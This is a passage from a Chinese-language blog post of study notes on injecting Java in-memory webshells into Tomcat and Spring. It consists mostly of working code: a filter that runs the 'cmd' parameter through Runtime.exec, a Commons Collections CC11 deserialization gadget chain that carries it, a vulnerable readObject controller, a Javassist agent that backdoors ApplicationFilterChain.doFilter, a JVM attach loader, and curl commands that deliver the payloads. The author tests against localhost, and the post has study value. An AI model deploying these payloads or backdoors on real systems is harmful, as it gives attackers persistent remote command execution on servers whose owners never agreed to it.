"TomcatShellInject doFilter....................................................................."); | |
String cmd; | |
if ((cmd = servletRequest.getParameter("cmd")) != null) { | |
Process process = Runtime.getRuntime().exec(cmd); | |
java.io.BufferedReader bufferedReader = new java.io.BufferedReader( | |
new java.io.InputStreamReader(process.getInputStream())); | |
StringBuilder stringBuilder = new StringBuilder(); | |
String line; | |
while ((line = bufferedReader.readLine()) != null) { | |
stringBuilder.append(line + '\n'); | |
} | |
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); | |
servletResponse.getOutputStream().flush(); | |
servletResponse.getOutputStream().close(); | |
return; | |
} | |
filterChain.doFilter(servletRequest, servletResponse); | |
} | |
@Override | |
public void destroy() { | |
} | |
} |
然后这里利用 CC11 来将内存马注入
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.apache.commons.collections.map.LazyMap; | |
import java.io.*; | |
import java.lang.reflect.Field; | |
import java.util.HashMap; | |
import java.util.HashSet; | |
@SuppressWarnings("all") | |
public class CC11 { | |
public static void main(String[] args) throws Exception { | |
byte[] bytes = getBytes(); | |
byte[][] targetByteCodes = new byte[][]{bytes}; | |
TemplatesImpl templates = TemplatesImpl.class.newInstance(); | |
Field f0 = templates.getClass().getDeclaredField("_bytecodes"); | |
f0.setAccessible(true); | |
f0.set(templates,targetByteCodes); | |
f0 = templates.getClass().getDeclaredField("_name"); | |
f0.setAccessible(true); | |
f0.set(templates,"name"); | |
f0 = templates.getClass().getDeclaredField("_class"); | |
f0.setAccessible(true); | |
f0.set(templates,null); | |
// 利用反射调用 templates 中的 newTransformer 方法 | |
InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]); | |
HashMap innermap = new HashMap(); | |
LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer); | |
TiedMapEntry tiedmap = new TiedMapEntry(map,templates); | |
HashSet hashset = new HashSet(1); | |
hashset.add("foo"); | |
// 我们要设置 HashSet 的 map 为我们的 HashMap | |
Field f = null; | |
try { | |
f = HashSet.class.getDeclaredField("map"); | |
} catch (NoSuchFieldException e) { | |
f = HashSet.class.getDeclaredField("backingMap"); | |
} | |
f.setAccessible(true); | |
HashMap hashset_map = (HashMap) f.get(hashset); | |
Field f2 = null; | |
try { | |
f2 = HashMap.class.getDeclaredField("table"); | |
} catch (NoSuchFieldException e) { | |
f2 = HashMap.class.getDeclaredField("elementData"); | |
} | |
f2.setAccessible(true); | |
Object[] array = (Object[])f2.get(hashset_map); | |
Object node = array[0]; | |
if(node == null){ | |
node = array[1]; | |
} | |
Field keyField = null; | |
try{ | |
keyField = node.getClass().getDeclaredField("key"); | |
}catch(Exception e){ | |
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); | |
} | |
keyField.setAccessible(true); | |
keyField.set(node,tiedmap); | |
// 在 invoke 之后, | |
Field f3 = transformer.getClass().getDeclaredField("iMethodName"); | |
f3.setAccessible(true); | |
f3.set(transformer,"newTransformer"); | |
try{ | |
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step1.txt")); | |
System.out.println("==="); | |
// ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step2.ser")); | |
outputStream.writeObject(hashset); | |
outputStream.close(); | |
}catch(Exception e){ | |
e.printStackTrace(); | |
} | |
} | |
public static byte[] getBytes() throws IOException { | |
InputStream inputStream = new FileInputStream(new File("E:\\notes\\Java\\project\\MemoryHorse\\target\\classes\\clown\\memoryhorse\\inject\\TomcatInject.class")); | |
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); | |
int n = 0; | |
while ((n=inputStream.read())!=-1){ | |
byteArrayOutputStream.write(n); | |
} | |
byte[] bytes = byteArrayOutputStream.toByteArray(); | |
return bytes; | |
} | |
} |
使用 curl 注入
curl "http://localhost:8080/demo_war_exploded/test" --data-binary "@E:\notes\Java\test\CCTest\cc11Step1.txt"
第二次注入
然后这里可以看到就已经成功执行了
java 反序列化注入内存马,暂时就这样简单记录一下
# Agent 内存马
真实情况下我们遇到的通常都是已经启动的业务,所以我们也就没法使用 permain 的方法来注入内存马。但是我们还是可以通过 agentmain 来注入内存马。在前面的 JavaAgent 使用中也可以看到,整个过程都有一步很核心的点,就是我们需要先通过 className.equals ("Main") 找到要修改的目标类。在上面的例子中我们寻找的都是这个 Main 类,而我们想要实现 Agent 内存马注入同样也是需要找到一个类,然而对这个类中的某个方法最好是能够满足下面两个要求
- 该方法一定会被执行
- 该方法修改不会影响正常的业务逻辑
一定会执行首当其冲的就是 Java Web 的三大件了,这兄弟仨在正常的 web 项目中是肯定会调用到的,这里就用 filter 来做测试。Filter 中的 doFilter 函数会依次调用 Filter 链上的 Filter。同时在 ApplicationFilterChain#doFilter 中还封装了我们用户请求的 request 和 response 这样一来传参的方式也有了。
这里首先将环境搭建起来
<dependency> | |
<groupId>commons-collections</groupId> | |
<artifactId>commons-collections</artifactId> | |
<version>3.2.1</version> | |
</dependency> |
然后是控制层代码
@Controller | |
public class TestController{ | |
@ResponseBody | |
@RequestMapping("/test") | |
public String cc11Vuln(HttpServletRequest request, HttpServletResponse response) throws Exception { | |
java.io.InputStream inputStream = request.getInputStream(); | |
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); | |
objectInputStream.readObject(); | |
return "Hello,World"; | |
} | |
} |
然后这里因为依赖版本是 3.2.1、这里利用 cc11 的链子,payload 可以看上面注入内存马的,首先注册自定义的 ClassFileTransformer,然后遍历已加载的 class,如果存在的话那么就调用 retransformClasses 对其进行重定义
public class AgentMain { | |
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain"; | |
public static void agentmain(String agentArgs, Instrumentation inst) throws Exception { | |
System.out.println("agentmain start"); | |
inst.addTransformer(new SpringDoFilter(),true); | |
// 获取所有已加载的类 | |
Class[] classes = inst.getAllLoadedClasses(); | |
for (Class clas:classes){ | |
if (clas.getName().equals(ClassName)){ | |
try{ | |
// 对类进行重新定义 | |
inst.retransformClasses(clas); | |
} catch (Exception e){ | |
e.printStackTrace(); | |
} | |
} | |
} | |
System.out.println("agentmain end"); | |
} | |
} |
然后自定义的 ClassFileTransformer 中,对 transform 拦截的类进行 if 判断,如果被拦截的 classname 等于 ApplicationFilterChain 的话那么就对其进行字节码动态修改
public class SpringDoFilter implements ClassFileTransformer { | |
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain"; | |
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) { | |
className = className.replace("/","."); | |
if (className.equals(ClassName)){ | |
System.out.println("Find the Inject Class: " + ClassName); | |
ClassPool pool = ClassPool.getDefault(); | |
try { | |
CtClass c = pool.getCtClass(className); | |
CtMethod m = c.getDeclaredMethod("doFilter"); | |
m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" + | |
"javax.servlet.http.HttpServletResponse res = response;\n" + | |
"java.lang.String cmd = request.getParameter(\"cmd\");\n" + | |
"if (cmd != null){\n" + | |
"" | |
" try {\n" + | |
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" + | |
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" + | |
" String line;\n" + | |
" StringBuilder sb = new StringBuilder(\"\");\n" + | |
" while ((line=reader.readLine()) != null){\n" + | |
" sb.append(line).append(\"\\n\");\n" + | |
" }\n" + | |
" response.getOutputStream().print(sb.toString());\n" + | |
" response.getOutputStream().flush();\n" + | |
" response.getOutputStream().close();\n" + | |
" } catch (Exception e){\n" + | |
" e.printStackTrace();\n" + | |
" }\n" + | |
"}"); | |
byte[] bytes = c.toBytecode(); | |
c.detach(); | |
return bytes; | |
} catch (Exception e){ | |
e.printStackTrace(); | |
} | |
} | |
return new byte[0]; | |
} | |
} |
然后将其打包,然后编写 attach 类
import com.sun.org.apache.xalan.internal.xsltc.DOM; | |
import com.sun.org.apache.xalan.internal.xsltc.TransletException; | |
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; | |
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; | |
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; | |
import com.sun.tools.attach.VirtualMachine; | |
import com.sun.tools.attach.VirtualMachineDescriptor; | |
import java.util.List; | |
public class Attachm extends AbstractTranslet { | |
static { | |
try{ | |
java.lang.String path = "E:\\notes\\Java\\test\\Agent\\target\\Agent-1.0-SNAPSHOT.jar"; | |
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar"); | |
java.net.URL url = toolsPath.toURI().toURL(); | |
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url}); | |
Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine"); | |
Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); | |
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null); | |
java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null); | |
System.out.println("Running JVM list ..."); | |
for(int i=0;i<list.size();i++){ | |
Object o = list.get(i); | |
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null); | |
java.lang.String name = (java.lang.String) displayName.invoke(o,null); | |
// 列出当前有哪些 JVM 进程在运行 | |
// 这里的 if 条件根据实际情况进行更改 | |
if (name.contains("clown.cctest.CcTestApplication")){ | |
// 获取对应进程的 pid 号 | |
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null); | |
java.lang.String id = (java.lang.String) getId.invoke(o,null); | |
System.out.println("id >>> " + id); | |
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class}); | |
java.lang.Object vm = attach.invoke(o,new Object[]{id}); | |
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class}); | |
loadAgent.invoke(vm,new Object[]{path}); | |
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null); | |
detach.invoke(vm,null); | |
System.out.println("Agent.jar Inject Success !!"); | |
break; | |
} | |
} | |
} catch (Exception e){ | |
e.printStackTrace(); | |
} | |
} | |
@Override | |
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { | |
} | |
@Override | |
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { | |
} | |
} |
利用 cc11 将这个类的字节码注入,通过这个类来 Attach 我们的 agent.jar 文件
curl -v "http://localhost:8080/test" --data-binary "@E:\notes\Java\project\study_java\cc11.txt"
如上图便是成功了
# 最后
一点碎碎念:本地部署的 blog 被我不小心删了,,,,难办,一直没法同步在线的 blog。重新再搭建一遍好麻烦的说,有点心累,就先这样放着吧,等开学了再重新部署。
参考链接:
- https://javasec.org/javase/JavaAgent/
- https://su18.org/post/memory-shell/
- https://su18.org/post/irP0RsYK1/
- https://xz.aliyun.com/t/7348
- https://xz.aliyun.com/t/9450
- http://wjlshare.com/archives/1541
- https://www.jianshu.com/p/cbe1c3174d41